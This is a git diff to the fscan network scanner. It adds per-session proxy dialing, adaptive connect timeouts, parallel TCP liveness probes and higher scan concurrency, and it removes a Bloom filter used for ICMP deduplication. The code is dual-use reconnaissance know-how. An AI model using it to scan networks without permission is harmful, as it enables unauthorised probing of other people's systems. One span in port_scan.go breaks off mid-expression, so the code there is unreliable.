+ s.stats.mu.Lock() s.stats.LastError = dialCtx.Err().Error() + s.stats.mu.Unlock() return nil, NewProxyError(ErrTypeTimeout, ErrMsgSOCKS5ConnTimeout, ErrCodeSOCKS5ConnTimeout, dialCtx.Err()) case result := <-connChan: duration := time.Since(start) + + s.stats.mu.Lock() s.stats.LastConnectTime = start + s.stats.mu.Unlock() if result.err != nil { atomic.AddInt64(&s.stats.FailedConnections, 1) + s.stats.mu.Lock() s.stats.LastError = result.err.Error() + s.stats.mu.Unlock() return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5ConnFailed, ErrCodeSOCKS5ConnFailed, result.err) } @@ -347,7 +369,8 @@ func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) // updateAverageConnectTime 更新平均连接时间 func (d *directDialer) updateAverageConnectTime(duration time.Duration) { - // 简单的移动平均 + d.stats.mu.Lock() + defer d.stats.mu.Unlock() if d.stats.AverageConnectTime == 0 { d.stats.AverageConnectTime = duration } else { @@ -356,7 +379,8 @@ func (d *directDialer) updateAverageConnectTime(duration time.Duration) { } func (s *socks5Dialer) updateAverageConnectTime(duration time.Duration) { - // 简单的移动平均 + s.stats.mu.Lock() + defer s.stats.mu.Unlock() if s.stats.AverageConnectTime == 0 { s.stats.AverageConnectTime = duration } else { diff --git a/common/proxy/tlsdialer.go b/common/proxy/tlsdialer.go index 2d09244..3af4292 100644 --- a/common/proxy/tlsdialer.go +++ b/common/proxy/tlsdialer.go @@ -50,7 +50,9 @@ func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address if err := tlsConn.Handshake(); err != nil { _ = tcpConn.Close() // TLS握手失败,Close错误可忽略 atomic.AddInt64(&t.stats.FailedConnections, 1) + t.stats.mu.Lock() t.stats.LastError = err.Error() + t.stats.mu.Unlock() return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSHandshakeFailed, ErrCodeTLSHandshakeFailed, err) } @@ -71,7 +73,8 @@ func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address // updateAverageConnectTime 更新平均连接时间 func (t *tlsDialerWrapper) updateAverageConnectTime(duration time.Duration) { - // 简单的移动平均 + t.stats.mu.Lock() + defer t.stats.mu.Unlock() if t.stats.AverageConnectTime == 0 { t.stats.AverageConnectTime = duration } else { diff --git a/common/proxy/types.go b/common/proxy/types.go index 6614129..adb8c50 100644 --- a/common/proxy/types.go +++ b/common/proxy/types.go @@ -4,6 +4,7 @@ import ( "context" "crypto/tls" "net" + "sync" "time" ) @@ -95,9 +96,10 @@ type ProxyManager interface { // //nolint:revive // 保持与现有代码的向后兼容性 type ProxyStats struct { - TotalConnections int64 `json:"total_connections"` - ActiveConnections int64 `json:"active_connections"` - FailedConnections int64 `json:"failed_connections"` + TotalConnections int64 `json:"total_connections"` + ActiveConnections int64 `json:"active_connections"` + FailedConnections int64 `json:"failed_connections"` + mu sync.Mutex `json:"-"` AverageConnectTime time.Duration `json:"average_connect_time"` LastConnectTime time.Time `json:"last_connect_time"` LastError string `json:"last_error,omitempty"` diff --git a/common/session.go b/common/session.go new file mode 100644 index 0000000..18e0328 --- /dev/null +++ b/common/session.go @@ -0,0 +1,106 @@ +package common + +import ( + "context" + "fmt" + "net" + "strings" + "sync" + "time" + + "github.com/shadow1ng/fscan/common/proxy" +) + +// ScanSession 封装单次扫描的全部上下文 +// 一次扫描一个 session,并发扫描各自独立 +type ScanSession struct { + Config *Config // 不可变,创建后只读 + State *State // 可变,原子操作,每会话独立 + Params *FlagVars // 原始参数,只读 + + // 每会话 dialer(懒初始化,取决于代理配置) + dialerOnce sync.Once + dialer proxy.Dialer + dialerErr error +} + +// NewScanSession 从已构建的 Config、State 和 FlagVars 创建会话 +func NewScanSession(config *Config, state *State, params *FlagVars) *ScanSession { + return &ScanSession{ + Config: config, + State: state, + Params: params, + } +} + +// DialTCP 创建 TCP 连接,内含限速检查、代理、计数 +func (s *ScanSession) DialTCP(ctx context.Context, network, address string, timeout time.Duration) (net.Conn, error) { + // 检查发包限制 + if ok, err := CanSendPacketWith(s.Config, s.State); !ok { + LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, err.Error())) + return nil, fmt.Errorf("发包受限: %s", err.Error()) + } + + // 获取 dialer + dialer, err := s.getDialer() + if err != nil { + LogError(fmt.Sprintf("获取代理拨号器失败: %v", err)) + s.State.IncrementTCPFailedPacketCount() + return nil, err + } + + conn, err := dialer.DialContext(ctx, network, address) + if err != nil { + s.State.IncrementTCPFailedPacketCount() + LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err)) + return nil, err + } + + // SO_LINGER=0: 连接关闭时立即发送 RST,避免 TIME_WAIT 堆积 + if tc, ok := conn.(*net.TCPConn); ok { + _ = tc.SetLinger(0) + } + + s.State.IncrementTCPSuccessPacketCount() + return conn, nil +} + +func (s *ScanSession) getDialer() (proxy.Dialer, error) { + s.dialerOnce.Do(func() { + cfg := s.createProxyConfig() + manager := proxy.NewProxyManager(cfg) + s.dialer, s.dialerErr = manager.GetDialer() + }) + return s.dialer, s.dialerErr +} + +func (s *ScanSession) createProxyConfig() *proxy.ProxyConfig { + cfg := proxy.DefaultProxyConfig() + cfg.Timeout = s.Config.Timeout + cfg.LocalAddr = s.Config.Network.Iface + + // 优先 SOCKS5 + if s.Config.Network.Socks5Proxy != "" { + cfg.Type = proxy.ProxyTypeSOCKS5 + socks5URL := s.Config.Network.Socks5Proxy + if !strings.HasPrefix(socks5URL, "socks5://") { + socks5URL = "socks5://" + socks5URL + } + cfg.Address, cfg.Username, cfg.Password = parseProxyURL(socks5URL, s.Config.Network.Socks5Proxy) + return cfg + } + + // 其次 HTTP + if s.Config.Network.HTTPProxy != "" { + if strings.HasPrefix(s.Config.Network.HTTPProxy, "https://") { + cfg.Type = proxy.ProxyTypeHTTPS + } else { + cfg.Type = proxy.ProxyTypeHTTP + } + cfg.Address, cfg.Username, cfg.Password = parseProxyURL(s.Config.Network.HTTPProxy, s.Config.Network.HTTPProxy) + return cfg + } + + cfg.Type = proxy.ProxyTypeNone + return cfg +} diff --git a/core/adaptive_timeout.go b/core/adaptive_timeout.go new file mode 100644 index 0000000..fb05660 --- /dev/null +++ b/core/adaptive_timeout.go @@ -0,0 +1,92 @@ +package core + +import ( + "math" + "sync" + "time" +) + +// AdaptiveTimeout 基于 RTT 采样的自适应超时计算器 +// 算法:timeout = mean(RTT) + 4 * stddev(RTT),clamp 到 [min, max] +// 冷启动阶段(样本不足)返回用户配置的固定超时 +type AdaptiveTimeout struct { + mu sync.Mutex + samples []float64 // 环形缓冲区,单位 ms + pos int // 写入位置 + count int // 已采集总数 + size int // 缓冲区容量 + minTO time.Duration + maxTO time.Duration + warmup int // 冷启动所需最小样本数 + cachedTO time.Duration + dirty bool +} + +// NewAdaptiveTimeout 创建自适应超时计算器 +// maxTimeout: 用户配置的超时上限(即原始固定超时) +func NewAdaptiveTimeout(maxTimeout time.Duration) *AdaptiveTimeout { + return &AdaptiveTimeout{ + samples: make([]float64, 64), + size: 64, + minTO: 100 * time.Millisecond, + maxTO: maxTimeout, + warmup: 10, + } +} + +// Record 记录一次成功连接的 RTT +func (a *AdaptiveTimeout) Record(rtt time.Duration) { + a.mu.Lock() + a.samples[a.pos%a.size] = float64(rtt.Milliseconds()) + a.pos++ + a.count++ + a.dirty = true + a.mu.Unlock() +} + +// Timeout 获取当前推荐超时值 +// 样本不足时返回 maxTO(冷启动) +func (a *AdaptiveTimeout) Timeout() time.Duration { + a.mu.Lock() + defer a.mu.Unlock() + + if a.count < a.warmup { + return a.maxTO + } + + if !a.dirty { + return a.cachedTO + } + + n := a.size + if a.count < a.size { + n = a.count + } + + var sum float64 + for i := 0; i < n; i++ { + sum += a.samples[i] + } + mean := sum / float64(n) + + var variance float64 + for i := 0; i < n; i++ { + d := a.samples[i] - mean + variance += d * d + } + stddev := math.Sqrt(variance / float64(n)) + + ms := mean + 4*stddev + to := time.Duration(ms) * time.Millisecond + + if to < a.minTO { + to = a.minTO + } + if to > a.maxTO { + to = a.maxTO + } + + a.cachedTO = to + a.dirty = false + return to +} diff --git a/core/alive_scanner.go b/core/alive_scanner.go index a5faa24..a8a66ff 100644 --- a/core/alive_scanner.go +++ b/core/alive_scanner.go @@ -1,6 +1,7 @@ package core import ( + "context" "fmt" "sync" "time" @@ -53,27 +54,24 @@ func (s *AliveScanStrategy) Description() string { } // Execute 执行存活探测扫描策略 -func (s *AliveScanStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { +func (s *AliveScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { // 验证扫描目标(需要同时检查 -h 和 -hf 参数) - fv := common.GetFlagVars() - if info.Host == "" && fv.HostsFile == "" { + if info.Host == "" && session.Params.HostsFile == "" { common.LogError(i18n.GetText("parse_error_target_empty")) return } - // 执行存活探测 - s.performAliveScan(info, config, state) + s.performAliveScan(ctx, info, session) // 输出统计信息 s.outputStats() } // performAliveScan 执行存活探测 -func (s *AliveScanStrategy) performAliveScan(info common.HostInfo, config *common.Config, state *common.State) { +func (s *AliveScanStrategy) performAliveScan(ctx context.Context, info common.HostInfo, session *common.ScanSession) { // 解析目标主机 - fv := common.GetFlagVars() - hosts, err := parsers.ParseIP(info.Host, fv.HostsFile, fv.ExcludeHosts) + hosts, err := parsers.ParseIP(info.Host, session.Params.HostsFile, session.Params.ExcludeHosts) if err != nil { common.LogError(i18n.Tr("parse_target_failed", err)) return @@ -91,7 +89,7 @@ func (s *AliveScanStrategy) performAliveScan(info common.HostInfo, config *commo // 执行存活检测 - aliveList := CheckLive(hosts, false, config, state) // 使用ICMP探测 + aliveList := CheckLive(ctx, hosts, false, session) // 使用ICMP探测 // 更新统计信息 s.stats.AliveHosts = len(aliveList) diff --git a/core/bloom_filter.go b/core/bloom_filter.go deleted file mode 100644 index 296b25d..0000000 --- a/core/bloom_filter.go +++ /dev/null @@ -1,66 +0,0 @@ -package core - -import ( - "hash/fnv" -) - -// BloomFilter 布隆过滤器,用于ICMP包去重 -type BloomFilter struct { - bits []bool - size uint32 - k uint32 // hash函数数量 -} - -// NewBloomFilter 创建布隆过滤器 -// size: 预期元素数量 -// falsePositiveRate: 期望的误判率(通常0.01即1%) -func NewBloomFilter(size int, falsePositiveRate float64) *BloomFilter { - // 计算最优bit数组大小: m = -n*ln(p) / (ln(2)^2) - // 简化计算:m ≈ n * 10 for p=0.01 - m := uint32(size * 10) - if m < 1024 { - m = 1024 // 最小1KB - } - - // 计算最优hash函数数量: k = (m/n) * ln(2) - // 简化:k ≈ 7 for p=0.01 - k := uint32(7) - - return &BloomFilter{ - bits: make([]bool, m), - size: m, - k: k, - } -} - -// Add 添加元素到过滤器 -func (bf *BloomFilter) Add(data string) { - for i := uint32(0); i < bf.k; i++ { - pos := bf.hash(data, i) - bf.bits[pos] = true - } -} - -// Contains 检查元素是否可能存在 -// 返回true:可能存在(有误判可能) -// 返回false:一定不存在 -func (bf *BloomFilter) Contains(data string) bool { - for i := uint32(0); i < bf.k; i++ { - pos := bf.hash(data, i) - if !bf.bits[pos] { - return false - } - } - return true -} - -// hash 计算hash值 -func (bf *BloomFilter) hash(data string, seed uint32) uint32 { - h := fnv.New32a() - _, _ = h.Write([]byte(data)) - // 添加seed实现多个hash函数 - for i := uint32(0); i < seed; i++ { - _, _ = h.Write([]byte{byte(i)}) - } - return h.Sum32() % bf.size -} diff --git a/core/bloom_filter_test.go b/core/bloom_filter_test.go deleted file mode 100644 index fa83305..0000000 --- a/core/bloom_filter_test.go +++ /dev/null @@ -1,168 +0,0 @@ -package core - -import ( - "fmt" - "testing" -) - -/* -bloom_filter_test.go - BloomFilter 高价值测试 - -测试重点: -1. 基本正确性 - Add后Contains返回true,未添加的返回false -2. 误判率验证 - 实际误判率应接近理论值(1%) -3. 大规模数据 - 模拟真实ICMP去重场景 - -不测试: -- 内部哈希实现细节 -- 精确的数学公式验证 -*/ - -// TestBloomFilter_BasicCorrectness 基本正确性测试 -func TestBloomFilter_BasicCorrectness(t *testing.T) { - bf := NewBloomFilter(1000, 0.01) - - // 添加元素后应该能找到 - testData := []string{ - "192.168.1.1", - "10.0.0.1", - "172.16.0.1", - } - - for _, data := range testData { - bf.Add(data) - } - - for _, data := range testData { - if !bf.Contains(data) { - t.Errorf("已添加的元素 %s 应该返回 true", data) - } - } - - // 未添加的元素(大概率)返回false - notAdded := []string{ - "8.8.8.8", - "1.1.1.1", - "255.255.255.255", - } - - falsePositives := 0 - for _, data := range notAdded { - if bf.Contains(data) { - falsePositives++ - } - } - - // 3个未添加元素全部误判的概率极低(<0.0001%) - if falsePositives == len(notAdded) { - t.Error("所有未添加元素都返回true,布隆过滤器可能有问题") - } -} - -// TestBloomFilter_FalsePositiveRate 误判率验证 -// -// 对于 n=10000, p=0.01 的布隆过滤器: -// 实际误判率应该在 0.5% - 2% 之间(允许统计波动) -func TestBloomFilter_FalsePositiveRate(t *testing.T) { - n := 10000 // 添加的元素数 - bf := NewBloomFilter(n, 0.01) - - // 添加n个元素 - for i := 0; i < n; i++ { - bf.Add(fmt.Sprintf("added_%d", i)) - } - - // 测试n个未添加的元素 - falsePositives := 0 - testCount := n - for i := 0; i < testCount; i++ { - if bf.Contains(fmt.Sprintf("not_added_%d", i)) { - falsePositives++ - } - } - - actualRate := float64(falsePositives) / float64(testCount) - - // 允许的误判率范围:0.1% - 3%(考虑统计波动) - if actualRate > 0.03 { - t.Errorf("误判率过高: %.2f%% (期望 < 3%%)", actualRate*100) - } - - t.Logf("实际误判率: %.2f%% (%d/%d)", actualRate*100, falsePositives, testCount) -} - -// TestBloomFilter_LargeScale 大规模数据测试 -// -// 模拟真实的ICMP去重场景:100万个IP地址 -func TestBloomFilter_LargeScale(t *testing.T) { - if testing.Short() { - t.Skip("跳过大规模测试") - } - - n := 1000000 // 100万 - bf := NewBloomFilter(n, 0.01) - - // 添加100万个元素 - for i := 0; i < n; i++ { - bf.Add(fmt.Sprintf("192.168.%d.%d", i/256, i%256)) - } - - // 验证已添加的元素 - sampleSize := 1000 - for i := 0; i < sampleSize; i++ { - idx := i * (n / sampleSize) - data := fmt.Sprintf("192.168.%d.%d", idx/256, idx%256) - if !bf.Contains(data) { - t.Errorf("已添加的元素 %s 返回 false", data) - } - } - - // 测试未添加元素的误判率 - falsePositives := 0 - for i := 0; i < sampleSize; i++ { - if bf.Contains(fmt.Sprintf("10.%d.%d.%d", i/65536, (i/256)%256, i%256)) { - falsePositives++ - } - } - - actualRate := float64(falsePositives) / float64(sampleSize) - if actualRate > 0.03 { - t.Errorf("大规模场景误判率过高: %.2f%%", actualRate*100) - } - - t.Logf("100万元素场景误判率: %.2f%%", actualRate*100) -} - -// TestBloomFilter_NoFalseNegative 验证无假阴性 -// -// 布隆过滤器的核心保证:已添加的元素必定返回true -func TestBloomFilter_NoFalseNegative(t *testing.T) { - bf := NewBloomFilter(10000, 0.01) - - // 添加5000个元素 - added := make([]string, 5000) - for i := range added { - added[i] = fmt.Sprintf("element_%d", i) - bf.Add(added[i]) - } - - // 全部验证 - for _, data := range added { - if !bf.Contains(data) { - t.Fatalf("假阴性!已添加的元素 %s 返回 false", data) - } - } -} - -// TestBloomFilter_EmptyFilter 空过滤器测试 -func TestBloomFilter_EmptyFilter(t *testing.T) { - bf := NewBloomFilter(100, 0.01) - - // 空过滤器应该对任何查询返回false - testCases := []string{"anything", "192.168.1.1", ""} - for _, tc := range testCases { - if bf.Contains(tc) { - t.Errorf("空过滤器对 %q 返回 true", tc) - } - } -} diff --git a/core/icmp.go b/core/icmp.go index 8dcaf1c..80cb4b5 100644 --- a/core/icmp.go +++ b/core/icmp.go @@ -2,6 +2,7 @@ package core import ( "bytes" + "context" "errors" "fmt" "net" @@ -39,7 +40,9 @@ var pingErrorKeywords = []string{ // CheckLive 检测主机存活状态 // 支持 ICMP/Ping 探测,并在响应率过低时自动启用 TCP 补充探测 -func CheckLive(hostslist []string, Ping bool, config *common.Config, state *common.State) []string { +func CheckLive(ctx context.Context, hostslist []string, Ping bool, session *common.ScanSession) []string { + config := session.Config + state := session.State // 创建局部WaitGroup var livewg sync.WaitGroup @@ -68,7 +71,7 @@ func CheckLive(hostslist []string, Ping bool, config *common.Config, state *comm // TCP 补充探测:当 ICMP/Ping 响应率过低时自动启用 // 这对防火墙过滤 ICMP 的环境特别有用 - aliveHosts = tcpSupplementaryProbe(hostslist, aliveHosts, config) + aliveHosts = tcpSupplementaryProbe(ctx, hostslist, aliveHosts, session) // 输出存活统计信息 printAliveStats(aliveHosts, hostslist) @@ -78,7 +81,11 @@ func CheckLive(hostslist []string, Ping bool, config *common.Config, state *comm // tcpSupplementaryProbe TCP 补充探测 // 当 ICMP 响应率过低时(<10%),对未响应主机进行 TCP 探测 -func tcpSupplementaryProbe(allHosts []string, aliveHosts []string, config *common.Config) []string { +func tcpSupplementaryProbe(ctx context.Context, allHosts []string, aliveHosts []string, session *common.ScanSession) []string { + if session.Config.DisableTcpProbe || session.Config.Mode == "icmp" { + return aliveHosts + } + totalHosts := len(allHosts) if totalHosts == 0 { return aliveHosts @@ -102,7 +109,7 @@ func tcpSupplementaryProbe(allHosts []string, aliveHosts []string, config *commo common.LogInfo(i18n.Tr("tcp_probe_low_icmp_rate", fmt.Sprintf("%.1f%%", responseRate*100), len(unrespondedHosts))) // 执行 TCP 补充探测 - tcpAliveHosts := runTcpProbeForHosts(unrespondedHosts, config) + tcpAliveHosts := runTcpProbeForHosts(ctx, unrespondedHosts, session) // 合并结果 if len(tcpAliveHosts) > 0 { @@ -321,8 +328,8 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, var endflag atomic.Bool var listenerWg sync.WaitGroup - // 创建布隆过滤器用于去重(自动根据主机数量调整大小) - bloomFilter := NewBloomFilter(len(hostslist), 0.01) + // 去重集合:过滤重复的ICMP响应 + seen := make(map[string]struct{}, len(hostslist)) // 启动监听协程 listenerWg.Add(1) @@ -358,11 +365,10 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, if sourceIP != nil && !endflag.Load() { ipStr := sourceIP.String() - // 使用布隆过滤器去重,过滤重复的ICMP响应和杂包 - if bloomFilter.Contains(ipStr) { + if _, dup := seen[ipStr]; dup { continue } - bloomFilter.Add(ipStr) + seen[ipStr] = struct{}{} livewg.Add(1) select { @@ -376,13 +382,22 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, } }() - // 发送ICMP请求(应用令牌桶限速) - limiter := state.GetICMPLimiter(config.Network.ICMPRate) + // 发送ICMP请求(批量预构建 + 令牌桶限速) + // 预构建所有 ICMP 包和目标地址,减少发送循环中的开销 + type icmpPacket struct { + data []byte + dst net.Addr + } + packets := make([]icmpPacket, 0, len(hostslist)) for _, host := range hostslist { - limiter.Wait(1) // 等待令牌,控制发包速率 - dst, _ := net.ResolveIPAddr("ip", host) - IcmpByte := makemsg(host) - _, _ = conn.WriteTo(IcmpByte, dst) + dst, _ := common.DNSCache.ResolveIP(host) + packets = append(packets, icmpPacket{data: makemsg(host), dst: dst}) + } + + limiter := state.GetICMPLimiter(config.Network.ICMPRate) + for i := range packets { + limiter.Wait(1) + _, _ = conn.WriteTo(packets[i].data, packets[i].dst) } // 自适应等待响应 @@ -470,8 +485,12 @@ func icmpalive(host string) bool { // RunPing 使用系统Ping命令并发探测主机存活 func RunPing(hostslist []string, chanHosts chan string, livewg *sync.WaitGroup) { var wg sync.WaitGroup - // 限制并发数为50 - limiter := make(chan struct{}, 50) + // 并发数根据主机数动态调整,上限 200 + concurrency := len(hostslist) + if concurrency > 200 { + concurrency = 200 + } + limiter := make(chan struct{}, concurrency) // 并发探测 for _, host := range hostslist { @@ -674,20 +693,34 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin var tcpProbeCommonPorts = []int{80, 443, 22, 445} // tcpProbeTimeout TCP 探测超时时间(较短,只做存活判断) -const tcpProbeTimeout = 2 * time.Second +const tcpProbeTimeout = 1 * time.Second // tcpProbeThreshold TCP 补充探测触发阈值 // 当 ICMP 响应率低于此值时,自动启用 TCP 补充探测 const tcpProbeThreshold = 0.1 // 10% -// tcpProbeAlive 使用 TCP 探测主机是否存活 -// 尝试连接常用端口,任一端口响应即认为存活 -func tcpProbeAlive(host string) bool { +// tcpProbeAlive 使用 TCP 并行探测主机是否存活 +// 同时连接所有常用端口,任一响应即返回 +func tcpProbeAlive(ctx context.Context, session *common.ScanSession, host string) bool { + ctx, cancel := context.WithCancel(ctx) + defer cancel() + + result := make(chan bool, len(tcpProbeCommonPorts)) for _, port := range tcpProbeCommonPorts { - addr := fmt.Sprintf("%s:%d", host, port) - conn, err := common.WrapperTcpWithTimeout("tcp", addr, tcpProbeTimeout) - if err == nil { - _ = conn.Close() + go func(p int) { + addr := fmt.Sprintf("%s:%d", host, p) + conn, err := session.DialTCP(ctx, "tcp", addr, tcpProbeTimeout) + if err == nil { + _ = conn.Close() + result <- true + return + } + result <- false + }(port) + } + + for range tcpProbeCommonPorts { + if <-result { return true } } @@ -696,7 +729,8 @@ func tcpProbeAlive(host string) bool { // runTcpProbeForHosts 对指定主机列表进行 TCP 补充探测 // 返回存活的主机列表 -func runTcpProbeForHosts(hosts []string, config *common.Config) []string { +func runTcpProbeForHosts(ctx context.Context, hosts []string, session *common.ScanSession) []string { + config := session.Config if len(hosts) == 0 { return nil } @@ -705,10 +739,10 @@ func runTcpProbeForHosts(hosts []string, config *common.Config) []string { var mu sync.Mutex aliveHosts := make([]string, 0) - // 并发控制,避免资源耗尽 - concurrency := 50 - if len(hosts) < concurrency { - concurrency = len(hosts) + // 并发控制,根据主机数动态调整,上限 200 + concurrency := len(hosts) + if concurrency > 200 { + concurrency = 200 } limiter := make(chan struct{}, concurrency) @@ -722,7 +756,7 @@ func runTcpProbeForHosts(hosts []string, config *common.Config) []string { wg.Done() }() - if tcpProbeAlive(h) { + if tcpProbeAlive(ctx, session, h) { mu.Lock() aliveHosts = append(aliveHosts, h) mu.Unlock() diff --git a/core/local_scanner.go b/core/local_scanner.go index 08ec528..c132a8d 100644 --- a/core/local_scanner.go +++ b/core/local_scanner.go @@ -1,6 +1,7 @@ package core import ( + "context" "sync" "github.com/shadow1ng/fscan/common" @@ -41,7 +42,9 @@ func (s *LocalScanStrategy) Description() string { } // Execute 执行本地扫描策略 -func (s *LocalScanStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { +func (s *LocalScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { + config := session.Config + // 输出扫描开始信息 s.LogScanStart() @@ -66,7 +69,7 @@ func (s *LocalScanStrategy) Execute(config *common.Config, state *common.State, targets := s.PrepareTargets(info) // 执行扫描任务 - ExecuteScanTasks(config, state, targets, s, ch, wg) + ExecuteScanTasks(ctx, session, targets, s, ch, wg) } // PrepareTargets 准备本地扫描目标 diff --git a/core/port_scan.go b/core/port_scan.go index 9aba364..bce2a86 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -1,6 +1,7 @@ package core import ( + "context" "fmt" "net" "strings" @@ -38,27 +39,32 @@ var resourceExhaustedPatterns = []string{ } // resultCollector 结果收集器,用于并发安全地收集扫描结果 -// 使用 map 实现:O(1) 的添加和删除,无顺序依赖问题 type resultCollector struct { - mu sync.Mutex - addrs map[string]struct{} + mu sync.Mutex + addrs map[string]struct{} + stream chan<- string } -// newResultCollector 创建结果收集器 -func newResultCollector() *resultCollector { +func newResultCollector(stream chan<- string) *resultCollector { return &resultCollector{ - addrs: make(map[string]struct{}), + addrs: make(map[string]struct{}), + stream: stream, } } -// Add 添加一个扫描结果 func (c *resultCollector) Add(addr string) { c.mu.Lock() + if _, dup := c.addrs[addr]; dup { + c.mu.Unlock() + return + } c.addrs[addr] = struct{}{} c.mu.Unlock() + if c.stream != nil { + c.stream <- addr + } } -// GetAll 获取所有结果 func (c *resultCollector) GetAll() []string { c.mu.Lock() result := make([]string, 0, len(c.addrs)) @@ -110,13 +116,31 @@ func (f *failedPortCollector) Count() int { // EnhancedPortScan 高性能端口扫描函数 // 使用滑动窗口调度 + 自适应线程池 + 流式迭代器 -func EnhancedPortScan(hosts []string, ports string, timeout int64, config *common.Config, state *common.State) []string { +// stream: 可选,非 nil 时每发现开放端口立即发送 addr,扫描结束后关闭 +func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout int64, session *common.ScanSession, stream chan<- string) []string { + config := session.Config + state := session.State common.LogDebug(fmt.Sprintf("[PortScan] 开始: %d个主机, 线程数=%d", len(hosts), config.ThreadNum)) + // 大规模扫描预筛:跨多个 /24 时先做网段探活,跳过空网段 + if len(hosts) > subnetProbeThreshold { + hosts = probeSubnets(ctx, hosts, time.Duration(timeout)*time.Second, session) + if len(hosts) == 0 { + common.LogInfo(i18n.GetText("port_scan_no_alive_subnet")) + if stream != nil { + close(stream) + } + return nil + } + } + // 解析端口和排除端口 portList := parsers.ParsePort(ports) if len(portList) == 0 { common.LogError(i18n.Tr("invalid_port", ports)) + if stream != nil { + close(stream) + } return nil } common.LogDebug(fmt.Sprintf("[PortScan] 端口解析完成: %d个端口", len(portList))) @@ -161,8 +185,9 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64, config *commo // 初始化并发控制 to := time.Duration(timeout) * time.Second + adaptiveTO := NewAdaptiveTimeout(to) var count int64 - collector := newResultCollector() + collector := newResultCollector(stream) failedCollector := &failedPortCollector{} var wg sync.WaitGroup @@ -179,11 +204,14 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64, config *commo }() addr := fmt.Sprintf("%s:%d", taskInfo.host, taskInfo.port) - scanSinglePort(taskInfo.host, taskInfo.port, addr, to, &count, collector, failedCollector, config, state) + scanSinglePort(ctx, taskInfo.host, taskInfo.port, addr, adaptiveTO, &count, collector, failedCollector, session) common.UpdateProgressBar(1) }, state) if err != nil { common.LogError(i18n.Tr("thread_pool_create_failed", err)) + if stream != nil { + close(stream) + } return nil } common.LogDebug("[PortScan] 线程池创建成功") @@ -197,6 +225,11 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64, config *commo // 收集结果 aliveAddrs := collector.GetAll() + // 关闭流式通知 channel + if stream != nil { + close(stream) + } + // 完成端口扫描进度条 if common.IsProgressActive() { common.FinishProgressBar() @@ -252,7 +285,10 @@ func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.Wa port: port, semaphore: semaphore, } - _ = pool.Invoke(task) + if err := pool.Invoke(task); err != nil { + <-semaphore + wg.Done() + } } // 等待所有任务完成 @@ -260,11 +296,11 @@ func slidingWindowSchedule(iter *SocketIterator, pool *AdaptivePool, wg *sync.Wa } // connectWithRetry 带重试的TCP连接 - 只对资源耗尽错误重试 -func connectWithRetry(addr string, timeout time.Duration, maxRetries int, state *common.State) (net.Conn, error) { +func connectWithRetry(ctx context.Context, session *common.ScanSession, addr string, timeout time.Duration, maxRetries int) (net.Conn, error) { var lastErr error for attempt := 0; attempt < maxRetries; attempt++ { - conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err == nil { return conn, nil @@ -278,11 +314,11 @@ func connectWithRetry(addr string, timeout time.Duration, maxRetries int, state } // 记录资源耗尽错误 - state.IncrementResourceExhaustedCount() + session.State.IncrementResourceExhaustedCount() - // 指数退避:第1次等50ms,第2次等150ms + // 指数退避:200ms → 600ms → 1200ms if attempt < maxRetries-1 { - waitTime := time.Duration(50*(attempt+1)) * time.Millisecond + waitTime := time.Duration(200*(1< isApplicable } -func (m *mockStrategy) Execute(config *common.Config, state *common.State, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { +func (m *mockStrategy) Execute(_ context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { } func (m *mockStrategy) GetPlugins() ([]string, bool) { diff --git a/core/service_probe.go b/core/service_probe.go index b2ea612..d61c707 100644 --- a/core/service_probe.go +++ b/core/service_probe.go @@ -1,6 +1,7 @@ package core import ( + "context" "errors" "fmt" "io" @@ -15,7 +16,7 @@ import ( // 默认超时时间常量 const ( - defaultTotalWaitMS = 6000 // Nmap 默认等待时间 + defaultTotalWaitMS = 3000 // 服务探测默认等待时间 defaultIntensity = 7 // 默认探测强度 (1-9) ) @@ -70,13 +71,16 @@ type Service struct { // Info 定义单个端口探测的上下文信息 type Info struct { - Address string // 目标IP地址 - Port int // 目标端口 - Conn net.Conn // 网络连接 - Result Result // 探测结果 - Found bool // 是否成功识别服务 - config *common.Config // 配置引用 - readTimeoutMS int // 当前读取超时时间(毫秒) + Address string // 目标IP地址 + Port int // 目标端口 + Conn net.Conn // 网络连接 + Result Result // 探测结果 + Found bool // 是否成功识别服务 + ctx context.Context // 扫描级 context + config *common.Config // 配置引用 + session *common.ScanSession // 会话引用 + readTimeoutMS int // 当前读取超时时间(毫秒) + maxReadTimeoutMS int // RTT 自适应上限(毫秒),0 表示不限制 } // SmartPortInfoScanner 智能服务识别器:保持nmap准确性,优化网络交互 @@ -86,24 +90,28 @@ type SmartPortInfoScanner struct { Conn net.Conn Timeout time.Duration info *Info - config *common.Config // 配置引用 + config *common.Config // 配置引用 + session *common.ScanSession // 会话引用 } // 预定义的基础探测器已在PortFinger.go中定义,这里不再重复定义 // NewSmartPortInfoScanner 创建智能服务识别器 -func NewSmartPortInfoScanner(addr string, port int, conn net.Conn, timeout time.Duration, config *common.Config) *SmartPortInfoScanner { +func NewSmartPortInfoScanner(ctx context.Context, addr string, port int, conn net.Conn, timeout time.Duration, config 